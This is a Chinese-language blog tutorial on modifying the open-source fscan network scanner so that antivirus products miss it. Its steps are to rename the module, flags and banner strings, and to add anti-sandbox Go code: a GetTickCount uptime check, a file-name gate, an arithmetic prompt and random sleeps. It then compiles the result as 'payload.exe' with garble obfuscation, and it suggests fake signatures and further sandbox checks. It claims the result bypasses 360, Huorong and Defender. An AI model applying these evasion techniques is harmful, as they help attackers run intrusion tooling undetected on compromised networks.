免杀菜鸡如何免杀自己的fscan
字数 923 2025-08-29 22:41:38
Fscan二次开发与免杀技术详解
一、前言
在当今严格的安全环境下,传统安全工具容易被静态和行为分析识别。本文详细记录对Go语言编写的fscan工具进行二次开发,通过特征绕过和体积优化实现高程度免杀的技术方法。
二、项目准备
-
下载项目:
git clone https://github.com/shadow1ng/fscan -
推荐使用shadow1ng的fscan版本作为基础进行修改
三、静态特征去除
1. 修改项目标识
- 进入
go.mod文件,将module fscan改为自定义名称如module hacker - 全局搜索替换所有
fscan字符串为自定义名称 - 修改后所有导入路径将变为
hacker/xxxx形式
2. 修改命令行参数
- 修改
common/flag.go文件中的参数定义:- 更改
-h帮助参数为其他值(如示例中的ta) - 修改其他可能被检测的危险参数名称
- 更改
3. 删除/修改Banner信息
- 直接删除或修改项目中的Banner信息
- 避免保留任何可能被标记的危险字符串
4. 修改帮助输出
- 编辑
i18n.go文件中的帮助信息输出 - 自定义帮助文本以增强抗静态分析能力
四、动态行为绕过
1. 修改主函数逻辑(main.go)
func main() {
// 添加启动条件检查
if len(os.Args) < 2 || os.Args[1] != "confirm" {
fmt.Println("[+] 请以 confirm 模式启动程序: xxx.exe confirm")
os.Exit(1)
}
// 重写os.Args去除confirm参数
os.Args = append([]string{os.Args[0]}, os.Args[2:]...)
// 添加人机验证
rand.Seed(time.Now().UnixNano())
n1 := rand.Intn(15)
n2 := rand.Intn(15)
checktime()
fmt.Println("[+] enter your Verification")
fmt.Printf("[ %d ] + [ %d ] = ", n1, n2)
var num int
_, _ = fmt.Scanf("%d", &num)
if num != n1+n2 {
os.Exit(1)
}
// 文件名检查
check()
// 随机睡眠
sleeptime := rand.Intn(8)
time.Sleep(time.Duration(sleeptime) * time.Second)
// 原fscan逻辑
Common.InitLogger()
var Info Common.HostInfo
Common.Flag(&Info)
_ = Common.Parse(&Info)
_ = Common.InitOutput()
defer Common.CloseOutput()
Core.Scan(Info)
}
2. 文件名检查函数
func check() {
if filepath.Base(os.Args[0]) != "can.exe" {
os.Exit(1)
}
}
3. 反沙箱检测函数
func checktime() {
var kernel = syscall.NewLazyDLL("Kernel32.dll")
GetTickCount := kernel.NewProc("GetTickCount")
r, _, _ := GetTickCount.Call()
ms := time.Duration(r * 1000 * 1000)
tm := time.Duration(30 * time.Minute)
if ms < tm {
os.Exit(1)
}
}
五、编译与混淆
1. 使用garble工具
garble是一个Go构建包装器,提供:
- 符号名混淆(函数、变量、结构体等)
- 去除调试信息
- 改写构建路径
- 随机化编译结果
2. 安装garble
go install mvdan.cc/garble@latest
3. 构建命令
garble -literals -tiny build -o payload.exe main.go
参数说明:
-literals:混淆字符串/整数等字面量-tiny:精简输出体积(剥离符号、缩减段表)build:等效于go build
六、增强免杀技巧
- 对数字杀毒软件可考虑添加假签名
- 有能力者可对更多部分进行重构和二开
- 可考虑添加更多反沙箱检测:
- 检查内存大小
- 检查CPU核心数
- 检查运行进程
- 检查是否有用户交互
七、注意事项
- 修改参数后需确保不影响工具功能
- 混淆可能导致调试困难,建议分阶段测试
- 不同环境可能需要调整反沙箱阈值
- 定期更新修改策略以应对新的检测方法
通过以上步骤,可有效绕过数字、某绒和Defender等常见安全产品的检测。技术能力强的开发者可进一步优化各部分代码实现更高级别的免杀效果。